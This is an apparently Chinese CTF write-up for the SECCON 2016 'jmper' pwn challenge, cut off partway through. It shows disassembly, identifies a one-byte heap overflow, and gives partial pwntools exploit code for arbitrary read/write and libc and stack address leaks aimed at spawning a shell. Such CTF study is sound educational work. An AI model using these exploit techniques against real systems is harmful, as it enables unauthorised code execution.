mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
635 lines
31 KiB
Markdown
635 lines
31 KiB
Markdown
# 6.1.17 pwn SECCONCTF2016 jmper
|
||
|
||
- [题目复现](#题目复现)
|
||
- [题目解析](#题目解析)
|
||
- [Exploit](#exploit)
|
||
- [参考资料](#参考资料)
|
||
|
||
|
||
[下载文件](../src/writeup/6.1.17_pwn_secconctf2016_jmper)
|
||
|
||
## 题目复现
|
||
```
|
||
$ file jmper
|
||
jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped
|
||
$ checksec -f jmper
|
||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 jmper
|
||
$ strings libc-2.19.so | grep "GNU C"
|
||
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al.
|
||
Compiled by GNU CC version 4.8.4.
|
||
```
|
||
64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。
|
||
|
||
在 Ubuntu-14.04 上玩一下:
|
||
```
|
||
$ LD_PRELOAD=./libc-2.19.so ./jmper
|
||
Welcome to my class.
|
||
My class is up to 30 people :)
|
||
1. Add student.
|
||
2. Name student.
|
||
3. Write memo
|
||
4. Show Name
|
||
5. Show memo.
|
||
6. Bye :)
|
||
1
|
||
1. Add student.
|
||
2. Name student.
|
||
3. Write memo
|
||
4. Show Name
|
||
5. Show memo.
|
||
6. Bye :)
|
||
2
|
||
ID:0
|
||
Input name:AAAA
|
||
1. Add student.
|
||
2. Name student.
|
||
3. Write memo
|
||
4. Show Name
|
||
5. Show memo.
|
||
6. Bye :)
|
||
3
|
||
ID:0
|
||
Input memo:BBBB
|
||
1. Add student.
|
||
2. Name student.
|
||
3. Write memo
|
||
4. Show Name
|
||
5. Show memo.
|
||
6. Bye :)
|
||
4
|
||
ID:0
|
||
AAAA1. Add student.
|
||
2. Name student.
|
||
3. Write memo
|
||
4. Show Name
|
||
5. Show memo.
|
||
6. Bye :)
|
||
5
|
||
ID:0
|
||
BBBB1. Add student.
|
||
2. Name student.
|
||
3. Write memo
|
||
4. Show Name
|
||
5. Show memo.
|
||
6. Bye :)
|
||
6
|
||
```
|
||
似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。
|
||
|
||
|
||
## 题目解析
|
||
程序主要由两部分组成,一个是 `main()` 函数,另一个是实现了所有功能的 `f()` 函数。
|
||
|
||
#### main
|
||
```
|
||
[0x00400730]> pdf @ main
|
||
/ (fcn) main 170
|
||
| main ();
|
||
| ; var int local_4h @ rbp-0x4
|
||
| ; DATA XREF from 0x0040074d (entry0)
|
||
| 0x00400ba8 push rbp
|
||
| 0x00400ba9 mov rbp, rsp
|
||
| 0x00400bac sub rsp, 0x10
|
||
| 0x00400bb0 mov rax, qword [obj.stdin] ; [0x602018:8]=0
|
||
| 0x00400bb7 mov ecx, 0
|
||
| 0x00400bbc mov edx, 2
|
||
| 0x00400bc1 mov esi, 0
|
||
| 0x00400bc6 mov rdi, rax
|
||
| 0x00400bc9 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|
||
| 0x00400bce mov rax, qword [sym.stdout] ; loc.stdout ; [0x602010:8]=0
|
||
| 0x00400bd5 mov ecx, 0
|
||
| 0x00400bda mov edx, 2
|
||
| 0x00400bdf mov esi, 0
|
||
| 0x00400be4 mov rdi, rax
|
||
| 0x00400be7 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|
||
| 0x00400bec mov edi, str.Welcome_to_my_class. ; 0x400d88 ; "Welcome to my class."
|
||
| 0x00400bf1 call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400bf6 mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)"
|
||
| 0x00400bfb call sym.imp.puts ; int puts(const char *s)
|
||
| 0x00400c00 mov edi, 0xf0 ; 240
|
||
| 0x00400c05 call sym.imp.malloc ; my_class = malloc(0xf0) 分配 my_class 数组
|
||
| 0x00400c0a mov qword [obj.my_class], rax ; [0x602030:8]=0
|
||
| 0x00400c11 mov edi, 0xc8 ; 200
|
||
| 0x00400c16 call sym.imp.malloc ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体
|
||
| 0x00400c1b mov qword [obj.jmpbuf], rax ; [0x602038:8]=0
|
||
| 0x00400c22 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0
|
||
| 0x00400c29 mov rdi, rax
|
||
| 0x00400c2c call sym.imp._setjmp ; setjmp(jmpbuf) 保存上下文到 jmpbuf
|
||
| 0x00400c31 mov dword [local_4h], eax
|
||
| 0x00400c34 cmp dword [local_4h], 0 ; 将 setjmp 返回值与 0 比较
|
||
| ,=< 0x00400c38 jne 0x400c41 ; 不等于时跳转
|
||
| | 0x00400c3a call sym.f ; 否则调用函数 f(),进入主要程序逻辑
|
||
| ,==< 0x00400c3f jmp 0x400c4b
|
||
| || ; JMP XREF from 0x00400c38 (main)
|
||
| |`-> 0x00400c41 mov edi, str.Nice_jump__Bye_: ; 0x400dbf ; "Nice jump! Bye :)"
|
||
| | 0x00400c46 call sym.imp.puts ; int puts(const char *s)
|
||
| | ; JMP XREF from 0x00400c3f (main)
|
||
| `--> 0x00400c4b mov eax, 0
|
||
| 0x00400c50 leave
|
||
\ 0x00400c51 ret
|
||
[0x00400730]> is ~my_class
|
||
055 0x00002030 0x00602030 GLOBAL OBJECT 8 my_class
|
||
[0x00400730]> is ~jmpbuf
|
||
065 0x00002038 0x00602038 GLOBAL OBJECT 8 jmpbuf
|
||
[0x00400730]> iS ~bss
|
||
24 0x00002010 0 0x00602010 48 --rw- .bss
|
||
```
|
||
在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 `my_class`(`0x00602030`)。另一块用于存放一个 `jmp_buf` 结构体,这个结构体中保存当前上下文,结构体的地址放在 `jmpbuf`(`0x00602038`)。并且这两个符号都在 `.bss` 段中。
|
||
|
||
这里就涉及到 `setjmp()` 和 `longjmp()` 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下:
|
||
```c
|
||
#include <setjmp.h>
|
||
|
||
int setjmp(jmp_buf env);
|
||
|
||
void longjmp(jmp_buf env, int val);
|
||
```
|
||
- `setjmp()`:将函数在此处的上下文保存到 `jmp_buf` 结构体,以供 longjmp 从此结构体中恢复
|
||
- `env`:保存上下文的 `jmp_buf` 结构体变量
|
||
- 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。
|
||
- `longjmp()`:从 `jmp_buf` 结构体中恢复由 setjmp 函数保存的上下文,该函数不返回,而是从 setjmp 函数中返回
|
||
- `env`:由 setjmp 函数保存的上下文
|
||
- `val`:传递给 setjmp 函数的返回值,如果 `val` 值为 0,setjmp 将会返回 1,否则返回 `val`。
|
||
|
||
`longjmp()` 执行完之后,程序就回到了 `setjmp()` 的下一条语句继续执行。
|
||
|
||
#### f
|
||
接下来我们看一下各功能的实现(程序设计真的要吐槽一下):
|
||
```
|
||
[0x00400730]> pdf @ sym.f
|
||
/ (fcn) sym.f 907
|
||
| sym.f ();
|
||
| ; var int local_1dh @ rbp-0x1d
|
||
| ; var int local_1ch @ rbp-0x1c
|
||
| ; var int local_18h @ rbp-0x18
|
||
| ; var int local_14h @ rbp-0x14
|
||
| ; var int local_10h @ rbp-0x10
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x00400c3a (main)
|
||
| 0x0040081d push rbp
|
||
| 0x0040081e mov rbp, rsp
|
||
| 0x00400821 sub rsp, 0x20
|
||
| 0x00400825 mov dword [obj.student_num], 0 ; [0x602028:4]=0
|
||
| ; JMP XREF from 0x00400ba3 (sym.f)
|
||
| .-> 0x0040082f mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始
|
||
| : 0x00400834 call sym.imp.puts ; int puts(const char *s)
|
||
| : 0x00400839 lea rax, [local_18h]
|
||
| : 0x0040083d mov rsi, rax
|
||
| : 0x00400840 mov edi, 0x400d3c
|
||
| : 0x00400845 mov eax, 0
|
||
| : 0x0040084a call sym.imp.__isoc99_scanf ; 读入选项到 [local_18h]
|
||
| : 0x0040084f call sym.imp.getchar ; int getchar(void)
|
||
| : 0x00400854 mov eax, dword [local_18h]
|
||
| : 0x00400857 cmp eax, 1 ; 1
|
||
| ,==< 0x0040085a jne 0x4008e8
|
||
| |: 0x00400860 mov eax, dword [obj.student_num] ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student 数
|
||
| |: 0x00400866 cmp eax, 0x1d ; 29 ; 与最大值比较
|
||
| ,===< 0x00400869 jle 0x400889 ; 小于等于 30 时跳转
|
||
| ||: 0x0040086b mov edi, str.Exception_has_occurred._Jump ; 0x400d3f ; 否则调用 longjmp 返回到 main
|
||
| ||: 0x00400870 call sym.imp.puts ; int puts(const char *s)
|
||
| ||: 0x00400875 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0 ; 取出 jmpbuf 结构体
|
||
| ||: 0x0040087c mov esi, 0x1bf52 ; setjmp 返回值为 0x1bf52
|
||
| ||: 0x00400881 mov rdi, rax
|
||
| ||: 0x00400884 call sym.imp.longjmp ; longjmp(jmpbuf, 0x1bf52)
|
||
| ||: ; JMP XREF from 0x00400869 (sym.f)
|
||
| `---> 0x00400889 mov edi, 0x30 ; '0' ; 48
|
||
| |: 0x0040088e call sym.imp.malloc ; malloc(0x30) ; 分配一个 student 结构
|
||
| |: 0x00400893 mov qword [local_8h], rax ; 将 student 地址放到 [local_8h]
|
||
| |: 0x00400897 mov eax, dword [obj.student_num] ; [0x602028:4]=0
|
||
| |: 0x0040089d movsxd rdx, eax
|
||
| |: 0x004008a0 mov rax, qword [local_8h]
|
||
| |: 0x004008a4 mov qword [rax], rdx ; 将 student_num 作为该 student->id
|
||
| |: 0x004008a7 mov edi, 0x20 ; 32
|
||
| |: 0x004008ac call sym.imp.malloc ; malloc(0x20) ; 分配一块空间作为 name
|
||
| |: 0x004008b1 mov rdx, rax
|
||
| |: 0x004008b4 mov rax, qword [local_8h]
|
||
| |: 0x004008b8 mov qword [rax + 0x28], rdx ; 将 name 的地址放到 student->name
|
||
| |: 0x004008bc mov rax, qword [obj.my_class] ; [0x602030:8]=0
|
||
| |: 0x004008c3 mov edx, dword [obj.student_num] ; [0x602028:4]=0
|
||
| |: 0x004008c9 movsxd rdx, edx
|
||
| |: 0x004008cc mov rcx, qword [local_8h]
|
||
| |: 0x004008d0 mov qword [rax + rdx*8], ; 将新分配的 student 地址放到 my_class[id]
|
||
| |: 0x004008d4 mov eax, dword [obj.student_num] ; [0x602028:4]=0
|
||
| |: 0x004008da add eax, 1 ; student_num + 1
|
||
| |: 0x004008dd mov dword [obj.student_num], eax ; [0x602028:4]=0 ; 写回 student_num
|
||
| ,===< 0x004008e3 jmp 0x400ba3 ; 回到菜单
|
||
| ||: ; JMP XREF from 0x0040085a (sym.f)
|
||
| |`--> 0x004008e8 mov eax, dword [local_18h]
|
||
| | : 0x004008eb cmp eax, 2 ; 2
|
||
| |,==< 0x004008ee jne 0x4009b3
|
||
| ||: 0x004008f4 mov esi, 0x400d5d ; 选项 2
|
||
| ||: 0x004008f9 mov edi, 0x400d61
|
||
| ||: 0x004008fe mov eax, 0
|
||
| ||: 0x00400903 call sym.imp.printf ; int printf(const char *format)
|
||
| ||: 0x00400908 lea rax, [local_1ch]
|
||
| ||: 0x0040090c mov rsi, rax
|
||
| ||: 0x0040090f mov edi, 0x400d3c
|
||
| ||: 0x00400914 mov eax, 0
|
||
| ||: 0x00400919 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
|
||
| ||: 0x0040091e call sym.imp.getchar ; int getchar(void)
|
||
| ||: 0x00400923 mov edx, dword [local_1ch]
|
||
| ||: 0x00400926 mov eax, dword [obj.student_num] ; [0x602028:4]=0
|
||
| ||: 0x0040092c cmp edx, eax ; 判断 id 是否有效
|
||
| ,====< 0x0040092e jge 0x400937 ; 无效时跳转
|
||
| |||: 0x00400930 mov eax, dword [local_1ch]
|
||
| |||: 0x00400933 test eax, eax ; 根据 id 设置符号位
|
||
| ,=====< 0x00400935 jns 0x40094b ; 符号位为 0 时跳转,即 id 大于等于 0
|
||
| ||||: ; JMP XREF from 0x0040092e (sym.f)
|
||
| |`----> 0x00400937 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
|
||
| | ||: 0x0040093c call sym.imp.puts ; int puts(const char *s)
|
||
| | ||: 0x00400941 mov edi, 1
|
||
| | ||: 0x00400946 call sym.imp.exit ; void exit(int status)
|
||
| | ||: ; JMP XREF from 0x00400935 (sym.f)
|
||
| `-----> 0x0040094b mov esi, str.Input_name: ; 0x400d70 ; "Input name:"
|
||
| ||: 0x00400950 mov edi, 0x400d61
|
||
| ||: 0x00400955 mov eax, 0
|
||
| ||: 0x0040095a call sym.imp.printf ; int printf(const char *format)
|
||
| ||: 0x0040095f mov rax, qword [obj.my_class] ; [0x602030:8]=0
|
||
| ||: 0x00400966 mov edx, dword [local_1ch]
|
||
| ||: 0x00400969 movsxd rdx, edx
|
||
| ||: 0x0040096c mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
|
||
| ||: 0x00400970 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name
|
||
| ||: 0x00400974 mov qword [local_10h], rax ; 放到 [local_10h]
|
||
| ||: 0x00400978 mov dword [local_14h], 0 ; 循环计数 i 初始化为 0
|
||
| ,====< 0x0040097f jmp 0x4009a8 ; 进入循环
|
||
| |||: ; JMP XREF from 0x004009ac (sym.f)
|
||
| .-----> 0x00400981 call sym.imp.getchar ; int getchar(void)
|
||
| :|||: 0x00400986 mov byte [local_1dh], al ; 读入一个字节到 [local_1dh]
|
||
| :|||: 0x00400989 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10
|
||
| ,======< 0x0040098d jne 0x400995 ; 非换行符时跳转
|
||
| |:|||: 0x0040098f nop
|
||
| ,=======< 0x00400990 jmp 0x400ba3 ; 否则回到菜单
|
||
| ||:|||: ; JMP XREF from 0x0040098d (sym.f)
|
||
| |`------> 0x00400995 mov rax, qword [local_10h]
|
||
| | :|||: 0x00400999 movzx edx, byte [local_1dh]
|
||
| | :|||: 0x0040099d mov byte [rax], dl ; 写入该字节写入 name
|
||
| | :|||: 0x0040099f add qword [local_10h], 1 ; name = name + 1
|
||
| | :|||: 0x004009a4 add dword [local_14h], 1 ; i = i + 1
|
||
| | :|||: ; JMP XREF from 0x0040097f (sym.f)
|
||
| | :`----> 0x004009a8 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32
|
||
| | `=====< 0x004009ac jle 0x400981 ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
|
||
| | ,====< 0x004009ae jmp 0x400ba3 ; 否则回到菜单
|
||
| | |||: ; JMP XREF from 0x004008ee (sym.f)
|
||
| | ||`--> 0x004009b3 mov eax, dword [local_18h]
|
||
| | || : 0x004009b6 cmp eax, 3 ; 3
|
||
| | ||,==< 0x004009b9 jne 0x400a7e
|
||
| | |||: 0x004009bf mov esi, 0x400d5d ; 选项 3
|
||
| | |||: 0x004009c4 mov edi, 0x400d61
|
||
| | |||: 0x004009c9 mov eax, 0
|
||
| | |||: 0x004009ce call sym.imp.printf ; int printf(const char *format)
|
||
| | |||: 0x004009d3 lea rax, [local_1ch]
|
||
| | |||: 0x004009d7 mov rsi, rax
|
||
| | |||: 0x004009da mov edi, 0x400d3c
|
||
| | |||: 0x004009df mov eax, 0
|
||
| | |||: 0x004009e4 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
|
||
| | |||: 0x004009e9 call sym.imp.getchar ; int getchar(void)
|
||
| | |||: 0x004009ee mov edx, dword [local_1ch]
|
||
| | |||: 0x004009f1 mov eax, dword [obj.student_num] ; [0x602028:4]=0
|
||
| | |||: 0x004009f7 cmp edx, eax ; 判断 id 是否有效
|
||
| | ,=====< 0x004009f9 jge 0x400a02 ; 无效时跳转
|
||
| | ||||: 0x004009fb mov eax, dword [local_1ch]
|
||
| | ||||: 0x004009fe test eax, eax ; 根据 id 设置符号位
|
||
| |,======< 0x00400a00 jns 0x400a16 ; 符号位为 0 时跳转,即 id 大于等于 0
|
||
| ||||||: ; JMP XREF from 0x004009f9 (sym.f)
|
||
| ||`-----> 0x00400a02 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
|
||
| || |||: 0x00400a07 call sym.imp.puts ; int puts(const char *s)
|
||
| || |||: 0x00400a0c mov edi, 1
|
||
| || |||: 0x00400a11 call sym.imp.exit ; void exit(int status)
|
||
| || |||: ; JMP XREF from 0x00400a00 (sym.f)
|
||
| |`------> 0x00400a16 mov esi, str.Input_memo: ; 0x400d7c ; "Input memo:"
|
||
| | |||: 0x00400a1b mov edi, 0x400d61
|
||
| | |||: 0x00400a20 mov eax, 0
|
||
| | |||: 0x00400a25 call sym.imp.printf ; int printf(const char *format)
|
||
| | |||: 0x00400a2a mov rax, qword [obj.my_class] ; [0x602030:8]=0
|
||
| | |||: 0x00400a31 mov edx, dword [local_1ch]
|
||
| | |||: 0x00400a34 movsxd rdx, edx
|
||
| | |||: 0x00400a37 mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
|
||
| | |||: 0x00400a3b add rax, 8 ; 取出 my_class[id]->memo
|
||
| | |||: 0x00400a3f mov qword [local_10h], rax ; 放到 [local_10h]
|
||
| | |||: 0x00400a43 mov dword [local_14h], 0 ; 循环计数 i,初始化为 0
|
||
| | ,=====< 0x00400a4a jmp 0x400a73 ; 进入循环
|
||
| | ||||: ; JMP XREF from 0x00400a77 (sym.f)
|
||
| |.------> 0x00400a4c call sym.imp.getchar ; int getchar(void)
|
||
| |:||||: 0x00400a51 mov byte [local_1dh], al
|
||
| |:||||: 0x00400a54 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10
|
||
| ========< 0x00400a58 jne 0x400a60
|
||
| |:||||: 0x00400a5a nop
|
||
| ========< 0x00400a5b jmp 0x400ba3
|
||
| |:||||: ; JMP XREF from 0x00400a58 (sym.f)
|
||
| --------> 0x00400a60 mov rax, qword [local_10h]
|
||
| |:||||: 0x00400a64 movzx edx, byte [local_1dh]
|
||
| |:||||: 0x00400a68 mov byte [rax], dl
|
||
| |:||||: 0x00400a6a add qword [local_10h], 1
|
||
| |:||||: 0x00400a6f add dword [local_14h], 1
|
||
| |:||||: ; JMP XREF from 0x00400a4a (sym.f)
|
||
| |:`-----> 0x00400a73 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32
|
||
| |`======< 0x00400a77 jle 0x400a4c ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
|
||
| | ,=====< 0x00400a79 jmp 0x400ba3 ; 否则回到菜单
|
||
| | ||||: ; JMP XREF from 0x004009b9 (sym.f)
|
||
| | |||`--> 0x00400a7e mov eax, dword [local_18h]
|
||
| | ||| : 0x00400a81 cmp eax, 4 ; 4
|
||
| | |||,==< 0x00400a84 jne 0x400b0d
|
||
| | ||||: 0x00400a8a mov esi, 0x400d5d ; 选项 4
|
||
| | ||||: 0x00400a8f mov edi, 0x400d61
|
||
| | ||||: 0x00400a94 mov eax, 0
|
||
| | ||||: 0x00400a99 call sym.imp.printf ; int printf(const char *format)
|
||
| | ||||: 0x00400a9e lea rax, [local_1ch]
|
||
| | ||||: 0x00400aa2 mov rsi, rax
|
||
| | ||||: 0x00400aa5 mov edi, 0x400d3c
|
||
| | ||||: 0x00400aaa mov eax, 0
|
||
| | ||||: 0x00400aaf call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
|
||
| | ||||: 0x00400ab4 call sym.imp.getchar ; int getchar(void)
|
||
| | ||||: 0x00400ab9 mov edx, dword [local_1ch]
|
||
| | ||||: 0x00400abc mov eax, dword [obj.student_num] ; [0x602028:4]=0
|
||
| | ||||: 0x00400ac2 cmp edx, eax ; 判断 id 是否有效
|
||
| |,======< 0x00400ac4 jge 0x400acd ; 无效时跳转
|
||
| ||||||: 0x00400ac6 mov eax, dword [local_1ch]
|
||
| ||||||: 0x00400ac9 test eax, eax ; 根据 id 设置符号位
|
||
| ========< 0x00400acb jns 0x400ae1 ; 符号位为 0 时跳转,即 id 大于等于 0
|
||
| ||||||: ; JMP XREF from 0x00400ac4 (sym.f)
|
||
| |`------> 0x00400acd mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
|
||
| | ||||: 0x00400ad2 call sym.imp.puts ; int puts(const char *s)
|
||
| | ||||: 0x00400ad7 mov edi, 1
|
||
| | ||||: 0x00400adc call sym.imp.exit ; void exit(int status)
|
||
| | ||||: ; JMP XREF from 0x00400acb (sym.f)
|
||
| --------> 0x00400ae1 mov rax, qword [obj.my_class] ; [0x602030:8]=0
|
||
| | ||||: 0x00400ae8 mov edx, dword [local_1ch]
|
||
| | ||||: 0x00400aeb movsxd rdx, edx
|
||
| | ||||: 0x00400aee mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
|
||
| | ||||: 0x00400af2 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name
|
||
| | ||||: 0x00400af6 mov rsi, rax
|
||
| | ||||: 0x00400af9 mov edi, 0x400d61
|
||
| | ||||: 0x00400afe mov eax, 0
|
||
| | ||||: 0x00400b03 call sym.imp.printf ; 打印出 my_class[id]->name
|
||
| |,======< 0x00400b08 jmp 0x400ba3 ; 回到菜单
|
||
| ||||||: ; JMP XREF from 0x00400a84 (sym.f)
|
||
| |||||`--> 0x00400b0d mov eax, dword [local_18h]
|
||
| ||||| : 0x00400b10 cmp eax, 5 ; 5
|
||
| |||||,==< 0x00400b13 jne 0x400b99
|
||
| ||||||: 0x00400b19 mov esi, 0x400d5d ; 选项 5
|
||
| ||||||: 0x00400b1e mov edi, 0x400d61
|
||
| ||||||: 0x00400b23 mov eax, 0
|
||
| ||||||: 0x00400b28 call sym.imp.printf ; int printf(const char *format)
|
||
| ||||||: 0x00400b2d lea rax, [local_1ch]
|
||
| ||||||: 0x00400b31 mov rsi, rax
|
||
| ||||||: 0x00400b34 mov edi, 0x400d3c
|
||
| ||||||: 0x00400b39 mov eax, 0
|
||
| ||||||: 0x00400b3e call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
|
||
| ||||||: 0x00400b43 call sym.imp.getchar ; int getchar(void)
|
||
| ||||||: 0x00400b48 mov edx, dword [local_1ch]
|
||
| ||||||: 0x00400b4b mov eax, dword [obj.student_num] ; [0x602028:4]=0
|
||
| ||||||: 0x00400b51 cmp edx, eax ; 判断 id 是否有效
|
||
| ========< 0x00400b53 jge 0x400b5c ; 无效时跳转
|
||
| ||||||: 0x00400b55 mov eax, dword [local_1ch]
|
||
| ||||||: 0x00400b58 test eax, eax ; 根据 id 设置符号位
|
||
| ========< 0x00400b5a jns 0x400b70 ; 符号位为 0 时跳转,即 id 大于等于 0
|
||
| ||||||: ; JMP XREF from 0x00400b53 (sym.f)
|
||
| --------> 0x00400b5c mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
|
||
| ||||||: 0x00400b61 call sym.imp.puts ; int puts(const char *s)
|
||
| ||||||: 0x00400b66 mov edi, 1
|
||
| ||||||: 0x00400b6b call sym.imp.exit ; void exit(int status)
|
||
| ||||||: ; JMP XREF from 0x00400b5a (sym.f)
|
||
| --------> 0x00400b70 mov rax, qword [obj.my_class] ; [0x602030:8]=0
|
||
| ||||||: 0x00400b77 mov edx, dword [local_1ch]
|
||
| ||||||: 0x00400b7a movsxd rdx, edx
|
||
| ||||||: 0x00400b7d mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
|
||
| ||||||: 0x00400b81 add rax, 8 ; 取出 my_class[id]->memo
|
||
| ||||||: 0x00400b85 mov rsi, rax
|
||
| ||||||: 0x00400b88 mov edi, 0x400d61
|
||
| ||||||: 0x00400b8d mov eax, 0
|
||
| ||||||: 0x00400b92 call sym.imp.printf ; 打印出 my_class[id]->memo
|
||
| ========< 0x00400b97 jmp 0x400ba3 ; 回到菜单
|
||
| ||||||: ; JMP XREF from 0x00400b13 (sym.f)
|
||
| |||||`--> 0x00400b99 mov edi, 0
|
||
| ||||| : 0x00400b9e call sym.imp.exit ; void exit(int status)
|
||
| ||||| | ; XREFS: JMP 0x00400b97 JMP 0x00400b08 JMP 0x00400a79 JMP 0x00400a5b JMP 0x004009ae JMP 0x00400990 JMP 0x004008e3
|
||
\ `````-`=< 0x00400ba3 jmp 0x40082f ; 循环继续
|
||
[0x00400730]> is ~student_num
|
||
048 0x00002028 0x00602028 GLOBAL OBJECT 4 student_num
|
||
```
|
||
首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 `exit()`,另一个是 `longjmp()` 跳回 main 函数,既然这么设置那当然是有用意的。
|
||
|
||
通过分析,可以得到 student 结构体和数组 my_class:
|
||
```c
|
||
struct student {
|
||
uint8_t id;
|
||
char memo[0x20];
|
||
char *name;
|
||
} student;
|
||
|
||
struct student *my_class[0x1e];
|
||
```
|
||
|
||
漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。
|
||
|
||
|
||
## Exploit
|
||
所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system('/bin/sh') 获得 shell。
|
||
|
||
#### overflow
|
||
```python
|
||
def overflow():
|
||
add() # idx 0
|
||
add() # idx 1
|
||
raw_input("#")
|
||
write_memo(0, 'A'*0x20 + '\x78')
|
||
```
|
||
|
||
首先添加两个 student:
|
||
```
|
||
gdb-peda$ p student_num
|
||
$1 = 0x2
|
||
gdb-peda$ x/2gx my_class
|
||
0x603010: 0x00000000006031e0 0x0000000000603250
|
||
gdb-peda$ x/30gx *my_class-0x10
|
||
0x6031d0: 0x0000000000000000 0x0000000000000041 <-- student chunk 0
|
||
0x6031e0: 0x0000000000000000 0x0000000000000000 <-- my_class[0]->name <-- my_class[0]->memo
|
||
0x6031f0: 0x0000000000000000 0x0000000000000000
|
||
0x603200: 0x0000000000000000 0x0000000000603220 <-- my_class[0]->name
|
||
0x603210: 0x0000000000000000 0x0000000000000031 <-- name chunk 0
|
||
0x603220: 0x0000000000000000 0x0000000000000000
|
||
0x603230: 0x0000000000000000 0x0000000000000000
|
||
0x603240: 0x0000000000000000 0x0000000000000041 <-- student chunk 1
|
||
0x603250: 0x0000000000000001 0x0000000000000000 <-- my_class[1]->name <-- my_class[1]->memo
|
||
0x603260: 0x0000000000000000 0x0000000000000000
|
||
0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name
|
||
0x603280: 0x0000000000000000 0x0000000000000031 <-- name chunk 1
|
||
0x603290: 0x0000000000000000 0x0000000000000000
|
||
0x6032a0: 0x0000000000000000 0x0000000000000000
|
||
0x6032b0: 0x0000000000000000 0x0000000000020d51 <-- top chunk
|
||
```
|
||
然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name:
|
||
```
|
||
gdb-peda$ x/30gx *my_class-0x10
|
||
0x6031d0: 0x0000000000000000 0x0000000000000041
|
||
0x6031e0: 0x0000000000000000 0x4141414141414141
|
||
0x6031f0: 0x4141414141414141 0x4141414141414141
|
||
0x603200: 0x4141414141414141 0x0000000000603278 <-- my_class[0]->name
|
||
0x603210: 0x0000000000000000 0x0000000000000031
|
||
0x603220: 0x0000000000000000 0x0000000000000000
|
||
0x603230: 0x0000000000000000 0x0000000000000000
|
||
0x603240: 0x0000000000000000 0x0000000000000041
|
||
0x603250: 0x0000000000000001 0x0000000000000000
|
||
0x603260: 0x0000000000000000 0x0000000000000000
|
||
0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name
|
||
0x603280: 0x0000000000000000 0x0000000000000031
|
||
0x603290: 0x0000000000000000 0x0000000000000000
|
||
0x6032a0: 0x0000000000000000 0x0000000000000000
|
||
0x6032b0: 0x0000000000000000 0x0000000000020d51
|
||
```
|
||
通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。
|
||
|
||
#### leak
|
||
然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息:
|
||
```python
|
||
def leak():
|
||
global system_addr
|
||
global main_ret_addr
|
||
|
||
write_name(0, p64(elf.got['puts']))
|
||
show_name(1)
|
||
puts_addr = (u64(io.recvline()[:6] + '\x00'*2))
|
||
|
||
libc_base = puts_addr - libc.symbols['puts']
|
||
system_addr = libc_base + libc.symbols['system']
|
||
environ_addr = libc_base + libc.symbols['environ']
|
||
|
||
write_name(0, p64(environ_addr))
|
||
show_name(1)
|
||
stack_addr = u64(io.recvline()[:6] + '\x00'*2)
|
||
main_ret_addr = stack_addr - 0xf0
|
||
|
||
log.info("libc base: 0x%x" % libc_base)
|
||
